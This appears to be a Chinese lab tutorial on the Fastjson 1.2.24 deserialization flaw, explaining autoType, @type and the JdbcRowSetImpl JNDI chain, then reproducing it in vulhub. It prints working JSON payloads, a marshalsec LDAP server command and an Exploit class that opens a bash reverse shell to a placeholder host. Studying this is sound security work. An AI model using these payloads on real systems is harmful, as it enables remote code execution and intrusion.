Fastjson是一个阿里巴巴开源的Java库,它用于将Java对象转换为JSON表示。它还可以用于将JSON字符串转换为等效的Java对象。(项目地址为:
https://github.com/alibaba/fastjson)
Fastjson可以处理任意Java对象,并且它提供了高性能的JSON解析和序列化功能。
漏洞原理
该漏洞的原理在于Fastjson的反序列化机制。当Fastjson解析JSON数据时,它会尝试将JSON数据转换为Java对象。在这个过程中,Fastjson会根据JSON数据中的类型信息来确定如何解析数据。攻击者可以利用这一特性,在JSON中构造特定的数据类型和结构,使Fastjson在解析时调用恶意构造的Java类或方法,从而实现远程代码执行。
一种常见的利用方式是利用Fastjson的autoType功能。autoType是Fastjson的一个特性,允许在序列化和反序列化时使用类的全限定名(fully qualified class name)。攻击者可以构造一个恶意的JSON数据,将恶意的类作为autoType的值,当Fastjson反序列化时,它会尝试实例化指定的类,从而执行该类中的代码(在漏洞利用过程中一般利用JdbcRowSetlmpl利用链)。
@type是Fastjson中用于处理对象类型信息的特殊字段之一。在JSON数据中,@type字段可以用来指定反序列化时应该实例化的类的类型。这个字段通常用于在反序列化时指定对象的类型信息,尤其是当Fastjson的autoType功能开启时。
通过@type字段,Fastjson可以识别要实例化的类,并根据该字段中提供的类路径来创建对象。这在序列化和反序列化复杂对象结构时非常有用,因为它允许您指定对象的确切类型。
然而,正是因为@type字段的存在和使用,恶意用户可能会利用这个字段来构造恶意的JSON数据,在@type字段中指定恶意类路径。这样一来,在反序列化过程中,Fastjson会根据@type字段指定的类路径尝试实例化对应的类,导致可能执行恶意代码或利用安全漏洞。
{"zeo":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
如上就是检测fastjson1.2.67版本之前是否存在漏洞的payload,它指定要反序列化的类为java.net.Inet4Address, 并且val字段的值为xxx.dnslog.cn 要是能够成功反序列化,那dnslog上就会出现解析记录。
package org.example;
public class Student {
public String name = "里斯";
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Fastjson {
public static void main(String[] args) {
Student student = new Student();
System.out.println(JSON.toJSONString(student));
String sss = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(sss);//可以看出使用SerializerFeature.WriteClassName标记之后,就会在json中加入一个@type字段,标注出类的原始类型
}
}
为什么需要一个@type这样的字段呢?
当我有两个类实现的是同一个接口,此时
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Fastjson {
public static void main(String[] args) {
class a implements Stu {
public String name="张三";
//省略 setter/getter、toString等
}
class b implements Stu {
public String name="张三";
//省略 setter/getter、toString等
}
// Student student = new Student();
// System.out.println(JSON.toJSONString(student));
// String sss = JSON.toJSONString(student, SerializerFeature.WriteClassName);
// System.out.println(sss);//可以看出使用SerializerFeature.WriteClassName标记之后,就会在json中加入一个@type字段,标注出类的原始类型
// Student ssi = JSON.parseObject(sss,Student.class);
// System.out.println(ssi.name);
Stu a = new a();
Stu b = new b();
System.out.println(JSON.toJSONString(a));
System.out.println(JSON.toJSONString(a, SerializerFeature.WriteClassName));
System.out.println(JSON.toJSONString(b));
System.out.println(JSON.toJSONString(b, SerializerFeature.WriteClassName));
}
}
{"name":"张三"}
{"@type":"org.example.Fastjson$1a","name":"张三"}
{"name":"张三"}
{"@type":"org.example.Fastjson$1b","name":"张三"}
可以发现不使用SerializerFeature.WriteClassName进行标记序列化出来的json是一样的,但是他们是两个不同的类序列号出来的子类会被抹去,而使用SerializerFeature.WriteClassName进行标记,@type的值则会不一样(这里是因为我放在了同一个类中,所以不明显)。
JNDI、RMI和LDAP是 Java 中用于不同目的的技术.
JNDI(Java Naming and Directory Interface):JNDI 是 Java 中的一组 API,用于访问不同的命名和目录服务。JNDI 提供了一种统一的访问方式,允许 Java 应用程序连接和使用各种不同的命名和目录服务,如 DNS、LDAP、RMI 注册表等。JNDI 的目的是为了提供统一的访问方式,让 Java 应用程序能够利用不同服务的命名和目录功能。
RMI(Remote Method Invocation):RMI 是 Java 中用于实现远程方法调用的机制。它允许在不同的 Java 虚拟机之间进行对象间的通信和方法调用。在分布式系统中,RMI 允许远程系统之间调用彼此的方法,实现远程对象之间的交互。
LDAP(Lightweight Directory Access Protocol):LDAP 是一种用于访问分布式目录服务的协议。它通常用于存储结构化数据,如用户信息、组织架构等。在 Java 中,JNDI 提供了 LDAP 访问的支持,允许使用 JNDI 来连接和操作 LDAP 目录服务,比如进行用户认证、检索数据等。
这些技术之间的关系在于 JNDI 作为一个 Java API,它提供了访问不同服务(包括 LDAP)的统一方式。通过 JNDI,可以连接和操作 LDAP 服务器,检索和存储 LDAP 目录中的数据。另外,JNDI 也可以用于查找 RMI 注册表中的远程对象,从而实现远程方法调用。
总结来说,JNDI 作为 Java 中的一个 API,它提供了统一访问不同服务的方式,允许 Java 应用程序连接和操作 LDAP、RMI 注册表等不同的命名和目录服务。
根据其特性,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。
从复现者的角度来看,JdbcRowSetlmpl 被反序列化后会自动调用setter里的setAutoCommit()方法,setAutoCommit()方法会调用connect()方法。
public void setAutoCommit(boolean autoCommit) throws SQLException {
if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
conn = connect();
conn.setAutoCommit(autoCommit);
}
}
private Connection connect() throws SQLException {
if(conn != null) {
return conn;
} else if (getDataSourceName() != null) {
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup(getDataSourceName());
if(getUsername() != null && !getUsername().equals("")) {
return ds.getConnection(getUsername(),getPassword());
} else {
return ds.getConnection();
}
}
catch (javax.naming.NamingException ex) {
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else if (getUrl() != null) {
return DriverManager.getConnection(getUrl(), getUsername(), getPassword());
}
else {
return null;
}
}
而connect方法调用了lookup方法,lookup是终点,lookup() 方法是 JNDI 中用于查找对象或资源的重要方法,它通过名称在命名服务中定位和获取相应的对象或资源,可以用于访问不同类型的命名和目录服务,以及在分布式环境中查找远程对象的引用。
而lookup里的参数dataSourceName 是在setter里有一个setDataSourceName()方法赋值的 所以我们在构造payload时将dataSourceName字段设置为自己服务器上起的RMI 服务或者LDAP服务地址。
总而言之,JdbcRowSetlmpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson,反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要指定了@type的类型,他就会自动调用对应的类进行反序列化。
所以payload如下:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://x.x.x.x:9999/Object",
"autoCommit": true
}
用vulhub搭建环境,便于复现
进入到vulhub/fastjson/1.2.24-rce目录下执行
docker-compose up –d
因为之前部署过了,所以没有下载过程,直接启动了,然后抓包访问8090端口
右键change request method,以post请求发包,同时将Content-Type字段改为:application/json,并加入payload。
NO.02
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://x.x.x.x:9999/Exploit",
"autoCommit":true
}
}
在远程服务器上用marshalsec
(https://github.com/RandomRobbieBF/marshalsec-jar)起一个ldap服务(也可以起rmi服务),加载远程恶意Exploit类。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x:808/#Exploit 9999
在远程服务器上写一个恶意Exploit类并编译(切记用1.8版本的jdk 且确保java和javac都是1.8版本 java版本有问题的文末有解决方案) 。
并用python开启一个http服务。
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit {
public Exploit() throws Exception{
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/x.x.x.x/4444 0>&1"});
InputStream is = p.getInputStream();//这里选择用反弹shell的方式执行恶意代码
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while ((line = reader.readLine()) !=null){
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception{
new Exploit();
}
}
用javac Exploit.java编译该类(确保自己的javac也是1.8版本的,否则复现不了,java版本有问题的文末有解决方案)。
用python在当前目录起一个http服务 确保访问ip的808端口可以看到文件。
sudo python -m http.server 808
用nc监听本地的4444端口,看是否能够成功反弹shell。
nc -lvnp 4444
发送json数据包后
(1)LDAP服务器接收到请求
(2)httpserverl收到get请求
(3)成功反弹shell
环境调试
sudo apt install openjdk-8-jdk
用命令更改系统java环境
update-alternatives --config java
选择自己需要的jdk版本
update-alternatives --config javac #记得javac的版本也要改
-END-
文字|Xiu
排版|物语
指导老师|Hard Target